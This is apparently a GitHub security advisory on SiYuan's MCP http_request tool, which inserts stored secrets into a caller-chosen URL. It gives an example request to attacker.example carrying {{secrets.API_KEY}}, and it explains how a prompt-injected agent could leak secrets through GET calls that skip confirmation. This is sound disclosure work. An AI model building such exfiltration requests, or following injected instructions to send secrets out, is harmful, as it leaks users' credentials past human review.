Skip to content

Secret placeholders in the http_request MCP tool are interpolated into the destination URL, enabling exfiltration of stored secrets to any attacker-chosen host

Moderate
88250 published GHSA-853m-gvvm-6rvx Aug 8, 2026

Package

gomod github.com/siyuan-note/siyuan (Go)

Affected versions

3.7.3

Patched versions

v3.8.0

Description

Summary

Secrets.Resolve() substitutes {{secrets.NAME}} placeholders with plaintext secret values
wherever it's called. mcp/tools/http_request.go applies this substitution to the url
parameter itself, not just headers/body — and url is fully caller-controlled. An MCP client
(including an AI agent that has been prompt-injected via untrusted content it processes) can
request:

action=get, url=https://attacker.example/collect?token={{secrets.API_KEY}}

and the real secret value will be sent to attacker.example.

Affected code

kernel/mcp/tools/http_request.go:

resolve := func(s string) string {
    return conf.ResolveSecretsVars(model.Conf.Secrets, model.Conf.Variables, s)
}
rawURL = resolve(rawURL)   // secrets interpolated into the destination itself
for k, v := range headers { headers[k] = resolve(v) }
body = resolve(body)

statusCode, contentType, text, err := util.HTTPRequest(action, rawURL, headers, body)

kernel/conf/secrets.go documents the intended threat model explicitly:
"Secrets 是全局密钥库...供智能体 http_request 工具...引用" / "secret plaintext only enters the
outbound request, not the LLM's context" — i.e. the design goal is that the agent can use a
secret without seeing it. Applying the same substitution to the destination URL defeats that
goal, since the destination is exactly the one parameter the agent chooses.

Why the existing SSRF guard doesn't mitigate this

util.HTTPRequest calls CheckHostSSRF(u.Hostname()) before sending, which blocks requests to
internal/private-network hosts. This is a real, separate control and does not restrict requests
to attacker-controlled public infrastructure, which is exactly what secret exfiltration
requires , an attacker doesn't need to reach an internal service, only their own server anywhere
on the public internet.

Why this requires no human review

Per the tool's own design comment, GET requests are in safeActions and bypass the
confirmation/write-snapshot UI that POST/PUT/DELETE/PATCH trigger. The exfiltration case
(a GET with the secret embedded in the query string) is exactly the case with the least friction.

Impact

Any secret stored in the global secret vault (kernel/conf/secrets.go — used for things like
API keys for gated services, per its own doc comment referencing "微信读书网关" / WeChat Reading
gateway-style authenticated APIs) can be exfiltrated to an attacker-controlled destination by
an MCP client capable of invoking this tool with an attacker-influenced URL, with no
confirmation prompt for the GET case.

Suggested fix

Do not interpolate {{secrets.*}} into the destination URL. Options: (a) restrict secret
interpolation to headers and body only, never the URL; (b) bind each secret to an explicit,
user-configured allowlist of hosts it may be sent to, and refuse interpolation (in any field)
when the resolved destination host isn't on that secret's allowlist; (c) require confirmation
for any request whose resolved URL/headers/body contain interpolated secret content, regardless
of HTTP method.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits